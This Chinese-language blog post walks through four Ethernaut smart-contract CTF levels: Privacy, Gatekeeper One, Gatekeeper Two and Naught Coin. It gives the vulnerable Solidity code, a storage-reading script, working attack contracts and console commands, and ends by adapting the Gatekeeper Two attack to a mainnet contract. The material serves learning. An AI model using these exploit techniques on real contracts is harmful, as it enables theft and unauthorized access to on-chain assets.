智能合约CTF:Ethernaut Writeup Part 3

2018-06-29 15:54 区块链 智能合约

续《智能合约CTF:Ethernaut Writeup Part 2》第四章节

经过好几天的艰难险阻,终于把新出的四道题做出来了,做的时候国内外还没有相关的 writeup,所以自己不断地研究、调试。后面几道确实是有难度,脑壳疼,要对原理有深刻的理解了才做得出来。本篇为第三篇,完成于 2018/6/10。完成之后才看到 medium 上有人更新 writeup 出来,其过程还是比较繁琐。同时今天又看到有新的题目出来了,后面还会继续更新。


图1

四、关卡分析(续)

12.Privacy

关卡说明:

读取合约存储从而解锁合约。

题目代码:

pragma solidity ^0.4.18;

contract Privacy {

  bool public locked = true;
  uint256 public constant ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  function Privacy(bytes32[3] _data) public {
    data = _data;
  }

  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

解题方法:

我们要知道,没有东西在区块链上是隐蔽的,即使使用了 private。 使用 Web3 的 getStorageAt(...) 可以读取我们想要的变量内容,来通过这一关。

// PrivacyExploit.js
// node PrivacyExploit.js 5
const Web3 = require('web3');
const web3 = new Web3(new Web3.providers.HttpProvider("https://ropsten.infura.io/0x01..")); // 你的钱包账户地址
let contractAddress = '0x02..'; // 题目实例地址
const max = process.argv[2];
if(!max){
  console.log('Plz input a max index');
}

for (index = 0; index < max; index++){
 storage = web3.eth.getStorageAt(contractAddress, index)
 console.log(`[${index}]` + storage)

1 执行上面代码,node PrivacyExploit.js 5 , 观察返回结果。
[0]0x000000000000000000000000000000000000000000000000000000e162ff0a01
[1]0x051fd9d690ec293e9859de7845411c4b5bd239197f022ce85176853cc9e5c629
[2]0x10ceb86c4d1814c46ccd7b0fa30c8fe16c875ac7e148e5aa158463a314030b72
[3]0xd06b00af13f64a1689e9cda1b32e30480686683396c989e10c411e381718a7ab
[4]0x0000000000000000000000000000000000000000000000000000000000000000
[5]0x0000000000000000000000000000000000000000000000000000000000000000
2 分析返回内容,与合约定义进行比较

// [0]0x000000000000000000000000000000000000000000000000000000e162ff0a01
bool public locked = true; // -> 01
uint256 public constant ID = block.timestamp; // -> 常量不写入存储
uint8 private flattening = 10; // -> 0a
uint8 private denomination = 255; // -> ff
uint16 private awkwardness = uint16(now); // -> e162

// [1]0x051fd9d690ec293e9859de7845411c4b5bd239197f022ce85176853cc9e5c629
// [2]0x10ceb86c4d1814c46ccd7b0fa30c8fe16c875ac7e148e5aa158463a314030b72
// [3]0xd06b00af13f64a1689e9cda1b32e30480686683396c989e10c411e381718a7ab
bytes32[3] private data; // -> 数组中三个内容对应上面三个插槽内容

3 因此本题 _key 即 0xd06b00af13f64a1689e9cda1b32e30480686683396c989e10c411e381718a7ab ,在 console 窗口执行 contract.unlock(0xd06b00af13f64a1689e9cda1b32e30480686683396c989e10c411e381718a7ab) 即可过关。

图2

13.Gatekeeper One

关卡说明:

通过看门人的三项检查,成为进入者(entrant)。

题目代码:

pragma solidity ^0.4.18;

contract GatekeeperOne {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(msg.gas % 8191 == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint32(_gateKey) == uint16(_gateKey));
    require(uint32(_gateKey) != uint64(_gateKey));
    require(uint32(_gateKey) == uint16(tx.origin));
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

解题方法:

这里的 enter 有三个修饰器。本关难点在于如何通过这三个修饰器。

gateOne 需要利用合约做中间代码。

gateTwo 修饰器的攻击比较复杂。在这个案例中,修饰器条件是剩余的gas为指定的数量:8191的倍数。因此我们使用 Remix-IDE 中的 debug 功能进行测试,在执行这个判断语句时消耗的 gas 数。最终,我们测试出来需要gas数量为 32979 。

gateThree 修饰器中有三个判断条件。从第三个条件可以是基于”tx.origin”的,因此每个人的 _gateKey 都会有所不同。记住 msg.sender 是你的攻击合约地址,而 tx.origin 是你的钱包账户地址。
require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));
我们写一个脚本进行测试

// GateKeeperCheck.sol
pragma solidity ^0.4.18;

contract GateKeeperCheck {

    function condition2(bytes8 _gateKey) view returns(bool a,bool b, bool c){
        a = uint32(_gateKey) == uint16(_gateKey);
        b = uint32(_gateKey) != uint64(_gateKey);
        c = uint32(_gateKey) == uint16(tx.origin);
    }

  function Converter(address _player) view returns(bytes8 s,uint16 a,uint32 b, uint64 c){
      s = bytes8(_player);
      a = uint16(_player);
      b = uint32(_player);
      c = uint64(_player);
  }
}

1、 转换类型为 byte8 需要截断 tx.origin 为 8 个字节长度。这里测试账户地址0xca35b7d915458ef540ade6068dfe2f44e8fa733c

图3

2、 uint16(tx.origin) -> 29500

因为 uint16 受最后 4 位影响,uint32 受最后 8 位影响,因此要满足判断条件1和3,则需要将 0x8dfe2f44e8fa733c 后面 8 位改为 0x0000733c

图4

3、 要满足条件2,因为 uint64 受最后的 16 位影响。这里的因此要求最后 16 位改为 0x8dfe2f440000733c

图5

因此,最终的解题方法如下:

// GateKepperhack.sol
pragma solidity ^0.4.18;

import './GatekeeperOne.sol';

contract GateKepperhack {
  address public _gateKey = tx.origin;
  bytes8 public _gateKey8 = bytes8(_gateKey);
  bytes8 public mask = 0xFFFFFFFF0000FFFF;

  bytes8 public _gateKey8Padded = _gateKey8 & mask;

  function hack(uint256 _mount,address _target){
    GatekeeperOne target = GatekeeperOne(_target);
    target.call.gas(_mount)(bytes4(sha3("enter(bytes8)")),_gateKey8Padded);
  }
}
  1. 1.使用 remix 部署上面的合约。
  2. 2.执行 hack, 内容为 "32979","0x01"(这里的0x01改为你的题目合约实例地址)
  3. 3.在 console 窗口使用 contract.entrant() 查看,若 entrant 已经从 0x0000000000000000000000000000000000000000 变为你的 player 地址,说明成功了,可以过关了。

14.Gatekeeper Two

关卡说明:

通过看门人的三项检查,成为进入者(entrant)。

题目代码:

pragma solidity ^0.4.18;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

解题方法:

gateOne 跟上一关一样,需要利用合约进行攻击。

gateTwo 中 extcodesize 用来获取指定地址的合约代码大小。这里使用的是内联汇编,来获取调用方(caller)的代码大小,一般来说,caller 为合约时,获取的大小为合约字节码大小,caller 为账户时,获取的大小为 0 。


modifier gateTwo() {
  uint x;
  assembly { x := extcodesize(caller) }
  require(x == 0);
  _;
} 

而这里的代码,条件为调用方代码大小为 0 ,但这又与 gateOne 冲突了。经过研究发现,当合约在初始化,还未完全创建时,代码大小是可以为0的。因此,我们需要把攻击合约的调用操作写在 constructor 构造函数中。

gateThree 中 ^ 符号为位的 或(XOR) 操作,优先级为 – 大于 ^ 大于 == 。由于要使 X ^ Y = Z , 则 Y = X ^ Z。因此我们写的合约中,要使 uint64(_gateKey) = (uint64(0) - 1) ^ uint64(keccak256(msg.sender)); ,同时,这里的 uint64(0) - 10xFFFFFFFFFFFFFFFF

可以使用下面的合约进行测试:

// GateKeeperCheck.sol
pragma solidity ^0.4.18;

contract GateKeeperCheck {

  function Converter(bytes8 _gateKey) view returns(address sender,uint64 s,uint64 a,uint64 b,uint64 o, bool c){
      sender = msg.sender;
      s = uint64(keccak256(msg.sender));
      a = uint64(_gateKey);
      b = uint64(0) -1;
      o = uint64(keccak256(msg.sender)) ^ uint64(_gateKey);
      c = uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1;

      x = (uint64(0) - 1) ^ uint64(keccak256(msg.sender));
      guess1 = bytes8(x);
      guess2 = bytes8(b);
      y = uint64(keccak256(msg.sender)) ^ uint64(guess1) == uint64(0) - 1;
  }
}

最终我们的攻击代码如下:

// GateKepperTwohack.sol
pragma solidity ^0.4.18;

import './GatekeeperTwo.sol';

contract GateKepperTwohack {

  uint64 public mask = 0xFFFFFFFFFFFFFFFF;
  uint64 public _gateKey8Padded = uint64(keccak256(this)) ^ mask;

  function GateKepperTwohack(address _target){
    GatekeeperTwo target = GatekeeperTwo(_target);
    target.call.gas(100000)(bytes4(sha3("enter(bytes8)")),bytes8(_gateKey8Padded));
  }
}

1 将上面合约代码放在 remix-ide 中;
2 填入题目实例合约地址,执行部署攻击代码合约;
3 查看 entrant 发现已经发生变化,说明攻击成功,提交即可过关。

图6

完成本关之后,我们发现了有一个彩蛋,这个彩蛋部分放在本文的最后部分《成为 theCyber 成员》

图7

15.Naught Coin

关卡说明:

NaughtCoin 是一个标准的 ERC20 token 合约,并且你已经拥有了所有的 token。但是问题是,需要10年后才能够执行 transfer 将 token 转移。现在你的目标是突破限制,将所有 token 转移到别的地址,使用合约中你的 token 余额变为 0。

题目代码:

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol';

 contract NaughtCoin is StandardToken {

  string public constant name = 'NaughtCoin';
  string public constant symbol = '0x0';
  uint public constant decimals = 18;
  uint public timeLock = now + 10 years;
  uint public INITIAL_SUPPLY = 1000000 * (10 ** decimals);
  address public player;

  function NaughtCoin(address _player) public {
    player = _player;
    totalSupply_ = INITIAL_SUPPLY;
    balances[player] = INITIAL_SUPPLY;
    Transfer(0x0, player, INITIAL_SUPPLY);
  }

  function transfer(address _to, uint256 _value) lockTokens public returns(bool) {
    super.transfer(_to, _value);
  }

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() {
    if (msg.sender == player) {
      require(now > timeLock);
      if (now < timeLock) {
        _;
      }
    } else {
     _;
    }
  }
}

解题方法:

当你使用别人的代码时,需要非常熟悉之,才能将融会贯通。尤其在使用了多重级别的 import (import 的合约中还有import),或者做权限控制等等,都要非常谨慎。 在这个案例里,开发者只看到了当前合约中的 transfer 并对其做限制,却忽略了对加载的合约做限制,因此我们可以绕过锁的检查。
1. 在 console 窗口中,contract.approve(player,1000000000000000000000000),增加可以允许转移 token 数;
2. 执行 contract.transferFrom(player,contract.address,1000000000000000000000000),进行转移 token 操作。
3. 执行 contract.balanceOf(player) 查看 token 余额为 0 即可过关。


图8

彩蛋:成为 theCyber 成员

图9

从文字里可以看到信息:

信息 1 gatekeepertwo.thecyber.eth

信息 2 跟 0age 要 passphrases 来加入到 thecyber 组织。

关于 thecyber 组织的情况,我们可以 Wilfried Kopp 的几篇文章了解,地址在: Wilfried Kopp

图10

另一方面,我也通过邮件跟 0age 拿到了两个 passphrases 。

图11

查看 gatekeepertwo 的代码,我们可以看到这个代码的作用,是筹够了 128 个entrant,再让这 128 加入到 thecyber 组织中。
// This contract replaces the original gatekeeper contract at the address
// 0x44919b8026f38D70437A8eB3BE47B06aB1c3E4Bf. It begins by adding members
// that registered with the original gatekeeper, then collects addresses of
// new initial members of theCyber. In order to register, an entrant must
// provide a passphrase that will hash to a sequence known to the gatekeeper.
// They must also find a way to get around a few barriers to entry (which have
// changed since the original contract) before they can successfully register.
// Once 128 addresses have been submitted, the assignAll method may be called,
// which (assuming theCyberGatekeeperTwo is itself a member of theCyber), will
// assign 128 new members, each owned by one of the submitted addresses.
第一次看时是有 65 个 entrant,说明已经有人完成题目并进入到成功成为进入者了。而截至文章发布时,有 97 个进入者。所以还有 30 个名额,大家干巴爹啦。操作过程如下:

1 查看Passphrase是否已经被使用

若返回 true 说明已经被使用了,返回 false 则可能是可用口令或者无效口令。

图12

2 执行攻击

在 GateKepperTwo 关卡的基础上要再修改一下代码,注意要在主网下部署,部署完看到进入者人数发生变化,证明已经成为进入者了。

操作过程中有任何疑问留言交流

BTW, TCC team长期招聘,包含安全研究、机器学习、数据分析、大数据等职位。感兴趣不妨发简历联系我们。Email: alex.xu@tophant.com。

评论(2)

3publicly

2023/01/27 01:20
3islands

1healthcare

2022/09/02 20:38
2cookbook

发表评论

captcha